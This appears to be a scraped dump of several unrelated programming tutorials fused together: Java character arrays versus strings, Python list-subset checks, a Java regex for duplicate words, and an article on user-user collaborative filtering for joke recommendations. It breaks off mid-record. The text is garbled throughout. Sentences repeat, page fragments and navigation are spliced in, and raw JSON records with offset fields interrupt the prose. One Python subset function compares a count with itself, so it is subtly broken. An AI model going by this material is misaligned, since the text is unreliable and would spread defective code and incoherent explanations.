operator can’t be used to append two character arrays. The characters in a character array can be accessed using index. The characters in a character array can be accessed using index. The values in a character array are stored in contiguous memory locations. The values in a character array are stored in contiguous memory locations. All character arrays are stored in Heap. All character arrays are stored in Heap. The passwords can be stored in character arrays in Java. The passwords can be stored in character arrays in Java. A character array can be converted into a string by passing it to a String Constructor. A character array can be converted into a string by passing it to a String Constructor. char[] my_char = {'J','A','N','E'}; String my_str = new String(my_char);
[ { "code": null, "e": 1146, "s": 1062, "text": "In this post, we will understand the difference between character array and string." }, { "code": null, "e": 1166, "s": 1146, "text": "They are immutable." }, { "code": null, "e": 1186, "s": 1166, "text": "They are immutable." }, { "code": null, "e": 1232, "s": 1186, "text": "Once they are defined, they can’t be changed." }, { "code": null, "e": 1278, "s": 1232, "text": "Once they are defined, they can’t be changed." }, { "code": null, "e": 1361, "s": 1278, "text": "It refers to a sequence of characters, which is represented as a single data type." }, { "code": null, "e": 1444, "s": 1361, "text": "It refers to a sequence of characters, which is represented as a single data type." }, { "code": null, "e": 1506, "s": 1444, "text": "It contains built-in functions such as substring(), charAt()." }, { "code": null, "e": 1568, "s": 1506, "text": "It contains built-in functions such as substring(), charAt()." }, { "code": null, "e": 1656, "s": 1568, "text": "The ‘+’ operator can be used to append strings together, which would form a new string." }, { "code": null, "e": 1744, "s": 1656, "text": "The ‘+’ operator can be used to append strings together, which would form a new string." }, { "code": null, "e": 1827, "s": 1744, "text": "The charAt() method helps access characters at a specific index within a ‘String’." }, { "code": null, "e": 1910, "s": 1827, "text": "The charAt() method helps access characters at a specific index within a ‘String’." }, { "code": null, "e": 1966, "s": 1910, "text": "These strings are stored in the ‘String Constant Pool’." }, { "code": null, "e": 2022, "s": 1966, "text": "These strings are stored in the ‘String Constant Pool’." }, { "code": null, "e": 2081, "s": 2022, "text": "It is not preferred to store passwords in strings in Java." }, { "code": null, "e": 2140, "s": 2081, "text": "It is not preferred to store passwords in strings in Java." }, { "code": null, "e": 2233, "s": 2140, "text": "A string can be converted to a character array using toCharArray() method of ‘String’ class." }, { "code": null, "e": 2326, "s": 2233, "text": "A string can be converted to a character array using toCharArray() method of ‘String’ class." }, { "code": null, "e": 2392, "s": 2326, "text": "String my_string = \"JANE\" ;\nchar [] ch = my_string.toCharArray();" }, { "code": null, "e": 2410, "s": 2392, "text": "They are mutable." }, { "code": null, "e": 2428, "s": 2410, "text": "They are mutable." }, { "code": null, "e": 2468, "s": 2428, "text": "This means their values can be changed." }, { "code": null, "e": 2508, "s": 2468, "text": "This means their values can be changed." }, { "code": null, "e": 2559, "s": 2508, "text": "It is a sequential collection of data type ‘char’." }, { "code": null, "e": 2610, "s": 2559, "text": "It is a sequential collection of data type ‘char’." }, { "code": null, "e": 2694, "s": 2610, "text": "It doesn’t have built-in methods to perform operations on character arrays in Java." }, { "code": null, "e": 2778, "s": 2694, "text": "It doesn’t have built-in methods to perform operations on character arrays in Java." }, { "code": null, "e": 2841, "s": 2778, "text": "The ‘+’ operator can’t be used to append two character arrays." }, { "code": null, "e": 2904, "s": 2841, "text": "The ‘+’ operator can’t be used to append two character arrays." }, { "code": null, "e": 2969, "s": 2904, "text": "The characters in a character array can be accessed using index." }, { "code": null, "e": 3034, "s": 2969, "text": "The characters in a character array can be accessed using index." }, { "code": null, "e": 3109, "s": 3034, "text": "The values in a character array are stored in contiguous memory locations." }, { "code": null, "e": 3184, "s": 3109, "text": "The values in a character array are stored in contiguous memory locations." }, { "code": null, "e": 3225, "s": 3184, "text": "All character arrays are stored in Heap." }, { "code": null, "e": 3266, "s": 3225, "text": "All character arrays are stored in Heap." }, { "code": null, "e": 3323, "s": 3266, "text": "The passwords can be stored in character arrays in Java." }, { "code": null, "e": 3380, "s": 3323, "text": "The passwords can be stored in character arrays in Java." }, { "code": null, "e": 3468, "s": 3380, "text": "A character array can be converted into a string by passing it to a String Constructor." }, { "code": null, "e": 3556, "s": 3468, "text": "A character array can be converted into a string by passing it to a String Constructor." }, { "code": null, "e": 3629, "s": 3556, "text": "char[] my_char = {'J','A','N','E'};\nString my_str = new String(my_char);" } ]
Python | Check if one list is subset of other - GeeksforGeeks
30 Dec, 2021 Sometimes we encounter the problem of checking if one list is just an extension of the list i.e just a superset of one list. These kinds of problems are quite popular in competitive programming. Having shorthands for it helps the cause. Let’s discuss various ways to achieve this particular task. all() is used to check all the elements of a container in just one line. Checks for all the elements of one list for existence in other lists. Python3 # Python3 code to demonstrate# to check if list is subset of other# using all() # initializing listtest_list = [9, 4, 5, 8, 10]sub_list = [10, 5, 4] # printing original listsprint("Original list : " + str(test_list))print("Original sub list : " + str(sub_list)) # using all() to# check subset of listflag = 0if(all(x in test_list for x in sub_list)): flag = 1 # printing resultif (flag): print("Yes, list is subset of other.")else: print("No, list is not subset of other.") Output : Original list : [9, 4, 5, 8, 10] Original sub list : [10, 5, 4] Yes, list is subset of other. The most used and recommended method to check for a sublist. This function is tailor made to perform the particular task of checking if one list is a subset of another. Python3 # Python3 code to demonstrate# to check if list is subset of other# using issubset() # initializing listtest_list = [9, 4, 5, 8, 10]sub_list = [10, 5] # printing original listsprint("Original list : " + str(test_list))print("Original sub list : " + str(sub_list)) # using issubset() to# check subset of listflag = 0if(set(sub_list).issubset(set(test_list))): flag = 1 # printing resultif (flag): print("Yes, list is subset of other.")else: print("No, list is not subset of other.") Output : Original list : [9, 4, 5, 8, 10] Original sub list : [10, 5] Yes, list is subset of other. Yet another method dealing with sets, this method checks if the intersection of both the lists ends up to be the sub list we are checking. This confirms that one list is a subset of the other. Python3 # Python3 code to demonstrate# to check if list is subset of other# using intersection() # initializing listtest_list = [9, 4, 5, 8, 10]sub_list = [10, 5] # printing original listsprint("Original list : " + str(test_list))print("Original sub list : " + str(sub_list)) # using intersection() to# check subset of listflag = 0if((set(sub_list) & set(test_list)) == set(sub_list)): flag = 1 # printing resultif (flag): print("Yes, list is subset of other.")else: print("No, list is not subset of other.") Output : Original list : [9, 4, 5, 8, 10] Original sub list : [10, 5] Yes, list is subset of other. Using the count of elements in both lists to check whether the second list is a subset of the first list. Python3 # Python3 code to demonstrate# to check if list is subset of other # Importingfrom collections import Counter def checkInFirst(a, b): # getting count count_a = Counter(a) count_b = Counter(b) # checking if element exists in second list for key in count_b: if key not in count_a: return False if count_b[key] > count_b[key]: return False return True # initializing lista = [1, 2, 4, 5]b = [1, 2, 3] # Calling functionres = checkInFirst(a, b) # Printing listprint("Original list : " + str(a))print("Original sub list : " + str(b)) if res == True: print("Yes, list is subset of other.")else: print("No, list is not subset of other.") # Added by Paras Jain(everythingispossible) Output : Original list : [1, 2, 4, 5] Original sub list : [1, 2, 3] No, list is not subset of other. Python3 # Python3 code to demonstrate# to check if list is subset of other # initializing listone = [1, 2, 3, 4, 5]two = [1, 2] # using set to find if element exists in another listresult = set(x in one for x in two) flag = 0 for ans in result: if ans == False: flag = 1 # Printing listprint("Original list : " + str(one))print("Original sub list : " + str(two)) if flag == 0: print("Yes, list is subset of other.")else: print("No, list is not subset of other.") # Added by Paras Jain(everythingispossible) Output : Original list : [1, 2, 3, 4, 5] Original sub list : [1, 2] Yes, list is subset of other. Python3 from functools import reducefrom operator import and_ # main containing checkerdef contains(superset, subset) -> bool: # creates a list of boolean values and # combines them using the and operator return reduce(and_, [i in superset for i in subset]) # creating some lists for testingsuperset = [3, 4, 5, 6]subset = [4, 5]not_subset = [4, 5, 7] # print whether or not the# subset is in the supersetprint(f"{subset} is in {superset}: {contains(superset,subset)}")print(f"{not_subset} is in {superset}: {contains(superset,not_subset)}") Output: [4, 5] is in [3, 4, 5, 6]: True [4, 5, 7] is in [3, 4, 5, 6]: False everythingispossible sagartomar9927 eldon15563 Python list-programs python-list Python python-list Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments How to Install PIP on Windows ? Different ways to create Pandas Dataframe Create a Pandas DataFrame from Lists How to drop one or multiple columns in Pandas Dataframe *args and **kwargs in Python Graph Plotting in Python | Set 1 How To Convert Python Dictionary To JSON? Convert integer to string in Python Python | Program to convert String to a List Python | Pandas dataframe.groupby()
[ { "code": null, "e": 24187, "s": 24159, "text": "\n30 Dec, 2021" }, { "code": null, "e": 24484, "s": 24187, "text": "Sometimes we encounter the problem of checking if one list is just an extension of the list i.e just a superset of one list. These kinds of problems are quite popular in competitive programming. Having shorthands for it helps the cause. Let’s discuss various ways to achieve this particular task." }, { "code": null, "e": 24628, "s": 24484, "text": "all() is used to check all the elements of a container in just one line. Checks for all the elements of one list for existence in other lists. " }, { "code": null, "e": 24636, "s": 24628, "text": "Python3" }, { "code": "# Python3 code to demonstrate# to check if list is subset of other# using all() # initializing listtest_list = [9, 4, 5, 8, 10]sub_list = [10, 5, 4] # printing original listsprint(\"Original list : \" + str(test_list))print(\"Original sub list : \" + str(sub_list)) # using all() to# check subset of listflag = 0if(all(x in test_list for x in sub_list)): flag = 1 # printing resultif (flag): print(\"Yes, list is subset of other.\")else: print(\"No, list is not subset of other.\")", "e": 25119, "s": 24636, "text": null }, { "code": null, "e": 25129, "s": 25119, "text": "Output : " }, { "code": null, "e": 25223, "s": 25129, "text": "Original list : [9, 4, 5, 8, 10]\nOriginal sub list : [10, 5, 4]\nYes, list is subset of other." }, { "code": null, "e": 25393, "s": 25223, "text": "The most used and recommended method to check for a sublist. This function is tailor made to perform the particular task of checking if one list is a subset of another. " }, { "code": null, "e": 25401, "s": 25393, "text": "Python3" }, { "code": "# Python3 code to demonstrate# to check if list is subset of other# using issubset() # initializing listtest_list = [9, 4, 5, 8, 10]sub_list = [10, 5] # printing original listsprint(\"Original list : \" + str(test_list))print(\"Original sub list : \" + str(sub_list)) # using issubset() to# check subset of listflag = 0if(set(sub_list).issubset(set(test_list))): flag = 1 # printing resultif (flag): print(\"Yes, list is subset of other.\")else: print(\"No, list is not subset of other.\")", "e": 25892, "s": 25401, "text": null }, { "code": null, "e": 25902, "s": 25892, "text": "Output : " }, { "code": null, "e": 25993, "s": 25902, "text": "Original list : [9, 4, 5, 8, 10]\nOriginal sub list : [10, 5]\nYes, list is subset of other." }, { "code": null, "e": 26186, "s": 25993, "text": "Yet another method dealing with sets, this method checks if the intersection of both the lists ends up to be the sub list we are checking. This confirms that one list is a subset of the other." }, { "code": null, "e": 26194, "s": 26186, "text": "Python3" }, { "code": "# Python3 code to demonstrate# to check if list is subset of other# using intersection() # initializing listtest_list = [9, 4, 5, 8, 10]sub_list = [10, 5] # printing original listsprint(\"Original list : \" + str(test_list))print(\"Original sub list : \" + str(sub_list)) # using intersection() to# check subset of listflag = 0if((set(sub_list) & set(test_list)) == set(sub_list)): flag = 1 # printing resultif (flag): print(\"Yes, list is subset of other.\")else: print(\"No, list is not subset of other.\")", "e": 26704, "s": 26194, "text": null }, { "code": null, "e": 26714, "s": 26704, "text": "Output : " }, { "code": null, "e": 26805, "s": 26714, "text": "Original list : [9, 4, 5, 8, 10]\nOriginal sub list : [10, 5]\nYes, list is subset of other." }, { "code": null, "e": 26912, "s": 26805, "text": "Using the count of elements in both lists to check whether the second list is a subset of the first list. " }, { "code": null, "e": 26920, "s": 26912, "text": "Python3" }, { "code": "# Python3 code to demonstrate# to check if list is subset of other # Importingfrom collections import Counter def checkInFirst(a, b): # getting count count_a = Counter(a) count_b = Counter(b) # checking if element exists in second list for key in count_b: if key not in count_a: return False if count_b[key] > count_b[key]: return False return True # initializing lista = [1, 2, 4, 5]b = [1, 2, 3] # Calling functionres = checkInFirst(a, b) # Printing listprint(\"Original list : \" + str(a))print(\"Original sub list : \" + str(b)) if res == True: print(\"Yes, list is subset of other.\")else: print(\"No, list is not subset of other.\") # Added by Paras Jain(everythingispossible)", "e": 27659, "s": 26920, "text": null }, { "code": null, "e": 27669, "s": 27659, "text": "Output : " }, { "code": null, "e": 27761, "s": 27669, "text": "Original list : [1, 2, 4, 5]\nOriginal sub list : [1, 2, 3]\nNo, list is not subset of other." }, { "code": null, "e": 27769, "s": 27761, "text": "Python3" }, { "code": "# Python3 code to demonstrate# to check if list is subset of other # initializing listone = [1, 2, 3, 4, 5]two = [1, 2] # using set to find if element exists in another listresult = set(x in one for x in two) flag = 0 for ans in result: if ans == False: flag = 1 # Printing listprint(\"Original list : \" + str(one))print(\"Original sub list : \" + str(two)) if flag == 0: print(\"Yes, list is subset of other.\")else: print(\"No, list is not subset of other.\") # Added by Paras Jain(everythingispossible)", "e": 28284, "s": 27769, "text": null }, { "code": null, "e": 28294, "s": 28284, "text": "Output : " }, { "code": null, "e": 28383, "s": 28294, "text": "Original list : [1, 2, 3, 4, 5]\nOriginal sub list : [1, 2]\nYes, list is subset of other." }, { "code": null, "e": 28391, "s": 28383, "text": "Python3" }, { "code": "from functools import reducefrom operator import and_ # main containing checkerdef contains(superset, subset) -> bool: # creates a list of boolean values and # combines them using the and operator return reduce(and_, [i in superset for i in subset]) # creating some lists for testingsuperset = [3, 4, 5, 6]subset = [4, 5]not_subset = [4, 5, 7] # print whether or not the# subset is in the supersetprint(f\"{subset} is in {superset}: {contains(superset,subset)}\")print(f\"{not_subset} is in {superset}: {contains(superset,not_subset)}\")", "e": 28941, "s": 28391, "text": null }, { "code": null, "e": 28949, "s": 28941, "text": "Output:" }, { "code": null, "e": 29017, "s": 28949, "text": "[4, 5] is in [3, 4, 5, 6]: True\n[4, 5, 7] is in [3, 4, 5, 6]: False" }, { "code": null, "e": 29038, "s": 29017, "text": "everythingispossible" }, { "code": null, "e": 29053, "s": 29038, "text": "sagartomar9927" }, { "code": null, "e": 29064, "s": 29053, "text": "eldon15563" }, { "code": null, "e": 29085, "s": 29064, "text": "Python list-programs" }, { "code": null, "e": 29097, "s": 29085, "text": "python-list" }, { "code": null, "e": 29104, "s": 29097, "text": "Python" }, { "code": null, "e": 29116, "s": 29104, "text": "python-list" }, { "code": null, "e": 29214, "s": 29116, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 29223, "s": 29214, "text": "Comments" }, { "code": null, "e": 29236, "s": 29223, "text": "Old Comments" }, { "code": null, "e": 29268, "s": 29236, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 29310, "s": 29268, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 29347, "s": 29310, "text": "Create a Pandas DataFrame from Lists" }, { "code": null, "e": 29403, "s": 29347, "text": "How to drop one or multiple columns in Pandas Dataframe" }, { "code": null, "e": 29432, "s": 29403, "text": "*args and **kwargs in Python" }, { "code": null, "e": 29465, "s": 29432, "text": "Graph Plotting in Python | Set 1" }, { "code": null, "e": 29507, "s": 29465, "text": "How To Convert Python Dictionary To JSON?" }, { "code": null, "e": 29543, "s": 29507, "text": "Convert integer to string in Python" }, { "code": null, "e": 29588, "s": 29543, "text": "Python | Program to convert String to a List" } ]
Java Examples - Searching Duplicate Words
How to match duplicate words in a regular expression? Following example shows how to search duplicate words in a regular expression by using p.matcher() method and m.group() method of regex.Matcher class. import java.util.Scanner; import java.io.*; import java.util.regex.*; import java.util.ArrayList; public class dupl { public static void main(String[] args) { ArrayList <String> manyLines = new ArrayList<String>(); ArrayList <String> noRepeat = new ArrayList<String>(); try { String s1 = "Hello hello Hello there there past pastures "; Scanner myfis = new Scanner(s1); while(myfis.hasNext()) { String line = myfis.nextLine(); String delim = System.getProperty("line.separator"); String [] lines = line.split(delim); for(String s: lines) { if(!s.isEmpty() && s != null) { manyLines.add(s); } } } if(!manyLines.isEmpty()) { System.out.print("Original text is:\n"); for(String s: manyLines) { System.out.println(s); } } if(!manyLines.isEmpty()) { for(String s: manyLines) { String result = s.replaceAll("(?i)\\b([a-z]+)\\b(?:\\s+\\1\\b)+", "$1"); noRepeat.add(result); } } if(!noRepeat.isEmpty()) { System.out.print("After Remove duplicates:\n"); for(String s: noRepeat) { System.out.println(s); } } } catch(Exception ex) { System.out.println(ex); } } } The above code sample will produce the following result. Original text is: Hello hello Hello there there past pastures After Remove duplicates: Hello there past pastures Print Add Notes Bookmark this page
[ { "code": null, "e": 2122, "s": 2068, "text": "How to match duplicate words in a regular expression?" }, { "code": null, "e": 2273, "s": 2122, "text": "Following example shows how to search duplicate words in a regular expression by using p.matcher() method and m.group() method of regex.Matcher class." }, { "code": null, "e": 3758, "s": 2273, "text": "import java.util.Scanner;\nimport java.io.*;\nimport java.util.regex.*;\nimport java.util.ArrayList;\n\npublic class dupl {\n public static void main(String[] args) {\n ArrayList <String> manyLines = new ArrayList<String>();\n ArrayList <String> noRepeat = new ArrayList<String>(); \n try { \n String s1 = \"Hello hello Hello there there past pastures \";\n Scanner myfis = new Scanner(s1);\n while(myfis.hasNext()) { \n String line = myfis.nextLine();\n String delim = System.getProperty(\"line.separator\");\n String [] lines = line.split(delim);\n \n for(String s: lines) { \n if(!s.isEmpty() && s != null) { \n manyLines.add(s);\n } \n } \n }\n if(!manyLines.isEmpty()) { \n System.out.print(\"Original text is:\\n\");\n for(String s: manyLines) { \n System.out.println(s);\n } \n } \n if(!manyLines.isEmpty()) { \n for(String s: manyLines) { \n String result = s.replaceAll(\"(?i)\\\\b([a-z]+)\\\\b(?:\\\\s+\\\\1\\\\b)+\", \"$1\");\n noRepeat.add(result);\n } \n } \n if(!noRepeat.isEmpty()) { \n System.out.print(\"After Remove duplicates:\\n\");\n for(String s: noRepeat) { \n System.out.println(s);\n } \n } \n } catch(Exception ex) { \n System.out.println(ex);\n } \n }\n}" }, { "code": null, "e": 3815, "s": 3758, "text": "The above code sample will produce the following result." }, { "code": null, "e": 3931, "s": 3815, "text": "Original text is:\nHello hello Hello there there past pastures \nAfter Remove duplicates:\nHello there past pastures \n" }, { "code": null, "e": 3938, "s": 3931, "text": " Print" }, { "code": null, "e": 3949, "s": 3938, "text": " Add Notes" } ]
User-User Collaborative Filtering For Jokes Recommendation | by Abhijeet Anand | Towards Data Science
Have you ever had ants in your home? If you’ve had, you might know that ants first spread out individually looking for food. But as soon as one of them finds the food, it makes its way back to the nest, leaving behind the scented trail that other ants soon follow. And then you have a stream of ants heading back and forth the food source and the nest. Those ants are exhibiting social navigation, a type of recommendation system where each of the ants goes out and explores a different part of the space, literally space, and when they find something that they think the community would like, they let everyone know about it. Recommendation Systems are a big part of today’s world. Customers may see a lot of available options and not know what to buy. They may be unaware of a product that serves their purpose, or maybe a movie or a song or joke they will eventually like but they haven’t heard about it yet. This is why recommendation systems are used. They make specific recommendations to customers to overcome the above-mentioned problems. They may recommend items based on its content (content-based recommendation), based on user’s session activities (sequential or session-based recommendation), based on items that similar users like (user-user collaborative filtering), or based on the similarities with items that customer has liked previously (item-item collaborative filtering), or maybe a hybrid model of two or more of the above-mentioned systems. In this article, we will focus on similar users based recommendation system, otherwise also known as user-user collaborative filtering, and apply it to give jokes recommendations. The jokes dataset is taken from Dataset 1 of the Jester Research project under the flagship of UC Berkeley Laboratory for Automation Science and Engineering. It has the ratings for 100 jokes from 73,421 readers. Ratings are real values ranging from -10.00 to +10.00 (the value “99” corresponds to “null” = “not rated”). Out of 73,421 readers, 14,116 have rated all the 100 jokes, and the remaining 59,305 have rated at least 15 or above jokes. We will be implementing the user-user collaborative filtering approach to give the jokes recommendation to an active user. This approach relies on the idea that users who have similar rating behaviors so far, share the same tastes, and will likely exhibit similar rating behaviors going forward. In other words, user-user collaborative filtering is an algorithmic framework where the neighboring users are identified based on the similarity with the active user, and then scoring of the items is done based on neighbor’s ratings followed by a recommendation of an item based item’s scores by the recommendation system. Companies like Amazon, Spotify, Facebook, LinkedIn, Google News, Netflix, etc are the most popular ones known to use some form of user-user collaborative filtering. Amazon’s “ Customers who bought this item also bought ” is a popular example of this filter, as shown in the following screenshot: The algorithm for recommendation can be summarized in 5 steps. However, there are varieties of configuration points at each of these steps that can be helpful in making choices for setting up user-user collaborative filtering. Let’s dive in detail and look at various configuration points for each step. Data Normalization Ratings are highly influenced by the scale of individuals. Some individuals are kind-hearted while rating and tend to rate high, whereas others are just cold-hearted and tend to give medium ratings for good content. Normalization is one way to compensate for such a user's behavior by adjusting the scale of rating to be comparable or on the same level to other user’s ratings. One simple technique to normalize the ratings is to subtract the rating average of each user from their ratings. Here is the python implementation of the normalization. def normalization(dataframe): dataframe_mean = dataframe.mean(axis=1) return dataframe.subtract(dataframe_mean, axis = 'rows') Let’s implement this method for the jokes dataset. For demonstration purposes, we will select ratings by 10 users for the first 10 jokes. We can also implement other configurations at the normalization step. Z-score is another possible way to normalize the rating data where the normalized value tells about how many standard deviations from the mean our score is. Computing Similarity Similarity computation between users is the main task in collaborative filtering algorithms. The similarity between users ( also known as the distance between users) is a mathematical method to quantify how different or similar users are to each other. For a User-User CF algorithm, similarity, sim xγ between the users x and y who have both rated the same items is calculated first. To calculate this similarity different metrics are used. We will be using correlation-based similarity metrics to compute the similarity between user x and user y, sim xγ using Pearson correlation The choice of Pearson correlation makes sense as similarity metrics as rating data for each user tend to be normally distributed. Like other correlation coefficients, this one varies between -1 and +1 with 0 implying no correlation. Correlations of -1 or +1 imply an exact linear relationship. Positive correlations between user x and user y imply that if user x has rated a joke as positive, there is a very high chance that user y will also rate positively to the same joke. Here is the python implementation of the Pearson Correlation using scipy package. def similarity_pearson(x, y): import scipy.stats return scipy.stats.pearsonr(x, y)[0] Now we implement the above-mentioned method to find Pearson similarity for the ratings dataset. Please note that here we are evaluating similarity using the ratings dataset and not by normalized ratings dataset because the Pearson Correlation method takes care of the normalization step! We can also implement other configurations at the similarity computation step. Cosine Similarity is another possible configuration to compute similarity among two users by computing the cosine of the angles between two rating vectors and determining whether both vectors are pointing in the roughly same direction. Cosine similarity is one often used to measure document similarity in text analysis. Selecting Neighbours User-User collaborative filtering (UUCF) approach heavily relies on active user neighborhood information to make predictions and recommendations. Neighborhood selection can either make or break the recommendation for an active user and can have a direct bearing on the rating prediction and item recommendation. Currently, any commercial recommendation system has a very large number of users, thus the neighborhood must be composed of the subset of the users if the recommendation system wants to guarantee an acceptable response time. The figure below shows four traditional approaches to select neighborhoods. Use all dataset when the dataset is very smallSelect dataset when similarity score is above certain thresholdSelect top N dataset by similarity scoreSelect a similar cluster using a clustering method like K-Mean Use all dataset when the dataset is very small Select dataset when similarity score is above certain threshold Select top N dataset by similarity score Select a similar cluster using a clustering method like K-Mean We will be using the threshold approach to select neighborhoods for an active user. Let’s designate the user at index 2 as our active user. The active user has read only 4 out of 10 jokes, so we will find out, which joke out of the remaining 6 will be the best recommendation for the active user. Let’s select a threshold of 0.1 or above to filter out the neighbors. Here is the python implementation to find similar neighbors using the threshold method. Here “sim” implies for similarity array of pandas series type. def neighbours(sim): return [sim.index[i] for i, v in enumerate(sim) if v>=0.1] Here is the screenshot of the similarity array for our active user. Please ensure to drop active user’s own similarity to itself before working. We will be implementing the “neighbors” method for the similarity array. As evident from the screenshot above, here only users with index 3, 4, 6, 9 qualify to be neighbors. But in any commercial recommendation system that has a very large number of data, we may end up with a large number of neighbors if we go with the threshold method. So the question arises, how many neighbors? Theoretically speaking, the more the better, if we have a good similarity matrix. But practically, noise from dissimilar neighbors decreases usefulness. if we mix a lot of low similarity neighbors then the difference from target user can start to degrade the quality of the recommendation. Between 25–100, high similarity neighbors are often used in practical and commercial recommendation system. Scoring Items Scoring items using the neighborhood ratings is at the very core of making a collaborative filtering model. The weighted average is one of the most common methods to construct such a scoring system. We will be using weighted average to compute scoring for our items. The first step is to select only those items which hadn’t yet been rated by the active user In our case, it’s joke_1, joke_2, joke_3, joke_4, joke_9, and joke_10. Since the remaining four jokes are already rated, we won’t score those items. Below is the screenshot of the neighbor_rating and neighbor_similarity pandas dataframe. We will these two dataframes and ratings dataframe to create scores for each joke. Note that here we are using the normalized rating dataframe for finding neighbor_rating. Here is the python implementation to calculate the score of the items. def score_item(neighbor_rating, neighbor_similarity, ratings ): # aumr -> active user mean rating aumr = np.mean(ratings.iloc[2, :]) score = np.dot(neighbor_similarity, neighbor_rating) + aumr data = score.reshape(1, len(score)) columns = neighbor_rating.columns return pd.DataFrame(data = data , columns = columns) We will implement “score_item” method to find the score of all the jokes. Here, it’s clearly visible that joke_2 have the highest score, and joke_4 have the lowest. Items Selection Once the item scoring is decided, the item with the maximum score will be the best recommendation. Thus in our case, joke_2 will be the most suited recommendation to our active user. Recommend Joke 2 to our active user However, there is a high chance that by using this method the recommendation may saturate to just a few recommendations every time. This may lead to a degrade of recommendation quality. One simple solution to this problem is to take top n positively scored items and randomly recommend one of those. User-User Collaborative Filtering systems have been very successful in the past, but their widespread use has revealed some real challenges. Let’s discuss briefly the four key challenges of using such a system: Cold-Start : If a user is new, its similarity with other users cannot be calculated as the system may not have any form of data on this new user. Scalability : As the number of users or items began to increase, then the user-user collaborative filtering suffers a drop in performance due to the growth in similarity computation. Data Sparsity: With large item sets, a small number of ratings, often there are situations where no proper recommendation can be made for the user. Influencing: An organization or person can deliberately manipulate prediction that gets made for others by creating multiple civil accounts and putting fake ratings. User-User Collaborative Filtering approach is the most commonly used and studied technology for making recommendations and has been widely adopted across the industry. The core concept behind this approach is that “similar users tend to have similar tastes.” In this blog, we have presented the UUCF approach and its practical application on the jokes recommendation using 5 step process. We have also shown the possibility of varieties of configuration points at each of these steps. At many of these steps, we didn’t choose the best result but a more random choice out of the acceptable choices. This is the main irony of the recommendation system as we don’t look for the best result and a bit of randomness is always welcomed by the user and is necessary otherwise the whole experience becomes monotonous. http://eigentaste.berkeley.edu/dataset/https://github.com/abbi163/Jester-Joke-Recommender-SystemMarwa Hussien Mohamed, Mohamed Helmy Khafagy, Mohamed Hasan Ibrahim. “Recommender Systems Challenges and Solutions Survey”. ITCE’2019, Aswan, Egypt, 2–4 February 2019Zhipeng Zhang, Yasuo Kudo, and Tetsuya Murai. “Neighbor selection for user-based collaborative filtering using covering-based rough sets”. Annals of Operations Research, Nov 8, 2016Dietmar Jannach, Markus Zanker, Alexander Felfering, and Gerhard Friedrich. “Recommender System, An Introduction”. Cambridge University Press, 2011Rounak Banik, “Hands-On Recommendation Systems with Python”. Packt Publishing, 2018Coursera. Course on “Nearest Neighbor Collaborative Filtering”, by the University of Minnesota. Week 1 and Week 2. http://eigentaste.berkeley.edu/dataset/ https://github.com/abbi163/Jester-Joke-Recommender-System Marwa Hussien Mohamed, Mohamed Helmy Khafagy, Mohamed Hasan Ibrahim. “Recommender Systems Challenges and Solutions Survey”. ITCE’2019, Aswan, Egypt, 2–4 February 2019 Zhipeng Zhang, Yasuo Kudo, and Tetsuya Murai. “Neighbor selection for user-based collaborative filtering using covering-based rough sets”. Annals of Operations Research, Nov 8, 2016 Dietmar Jannach, Markus Zanker, Alexander Felfering, and Gerhard Friedrich. “Recommender System, An Introduction”. Cambridge University Press, 2011 Rounak Banik, “Hands-On Recommendation Systems with Python”. Packt Publishing, 2018 Coursera. Course on “Nearest Neighbor Collaborative Filtering”, by the University of Minnesota. Week 1 and Week 2.
[ { "code": null, "e": 799, "s": 172, "text": "Have you ever had ants in your home? If you’ve had, you might know that ants first spread out individually looking for food. But as soon as one of them finds the food, it makes its way back to the nest, leaving behind the scented trail that other ants soon follow. And then you have a stream of ants heading back and forth the food source and the nest. Those ants are exhibiting social navigation, a type of recommendation system where each of the ants goes out and explores a different part of the space, literally space, and when they find something that they think the community would like, they let everyone know about it." }, { "code": null, "e": 1637, "s": 799, "text": "Recommendation Systems are a big part of today’s world. Customers may see a lot of available options and not know what to buy. They may be unaware of a product that serves their purpose, or maybe a movie or a song or joke they will eventually like but they haven’t heard about it yet. This is why recommendation systems are used. They make specific recommendations to customers to overcome the above-mentioned problems. They may recommend items based on its content (content-based recommendation), based on user’s session activities (sequential or session-based recommendation), based on items that similar users like (user-user collaborative filtering), or based on the similarities with items that customer has liked previously (item-item collaborative filtering), or maybe a hybrid model of two or more of the above-mentioned systems." }, { "code": null, "e": 1817, "s": 1637, "text": "In this article, we will focus on similar users based recommendation system, otherwise also known as user-user collaborative filtering, and apply it to give jokes recommendations." }, { "code": null, "e": 2261, "s": 1817, "text": "The jokes dataset is taken from Dataset 1 of the Jester Research project under the flagship of UC Berkeley Laboratory for Automation Science and Engineering. It has the ratings for 100 jokes from 73,421 readers. Ratings are real values ranging from -10.00 to +10.00 (the value “99” corresponds to “null” = “not rated”). Out of 73,421 readers, 14,116 have rated all the 100 jokes, and the remaining 59,305 have rated at least 15 or above jokes." }, { "code": null, "e": 2557, "s": 2261, "text": "We will be implementing the user-user collaborative filtering approach to give the jokes recommendation to an active user. This approach relies on the idea that users who have similar rating behaviors so far, share the same tastes, and will likely exhibit similar rating behaviors going forward." }, { "code": null, "e": 3176, "s": 2557, "text": "In other words, user-user collaborative filtering is an algorithmic framework where the neighboring users are identified based on the similarity with the active user, and then scoring of the items is done based on neighbor’s ratings followed by a recommendation of an item based item’s scores by the recommendation system. Companies like Amazon, Spotify, Facebook, LinkedIn, Google News, Netflix, etc are the most popular ones known to use some form of user-user collaborative filtering. Amazon’s “ Customers who bought this item also bought ” is a popular example of this filter, as shown in the following screenshot:" }, { "code": null, "e": 3239, "s": 3176, "text": "The algorithm for recommendation can be summarized in 5 steps." }, { "code": null, "e": 3403, "s": 3239, "text": "However, there are varieties of configuration points at each of these steps that can be helpful in making choices for setting up user-user collaborative filtering." }, { "code": null, "e": 3480, "s": 3403, "text": "Let’s dive in detail and look at various configuration points for each step." }, { "code": null, "e": 3499, "s": 3480, "text": "Data Normalization" }, { "code": null, "e": 3877, "s": 3499, "text": "Ratings are highly influenced by the scale of individuals. Some individuals are kind-hearted while rating and tend to rate high, whereas others are just cold-hearted and tend to give medium ratings for good content. Normalization is one way to compensate for such a user's behavior by adjusting the scale of rating to be comparable or on the same level to other user’s ratings." }, { "code": null, "e": 3990, "s": 3877, "text": "One simple technique to normalize the ratings is to subtract the rating average of each user from their ratings." }, { "code": null, "e": 4046, "s": 3990, "text": "Here is the python implementation of the 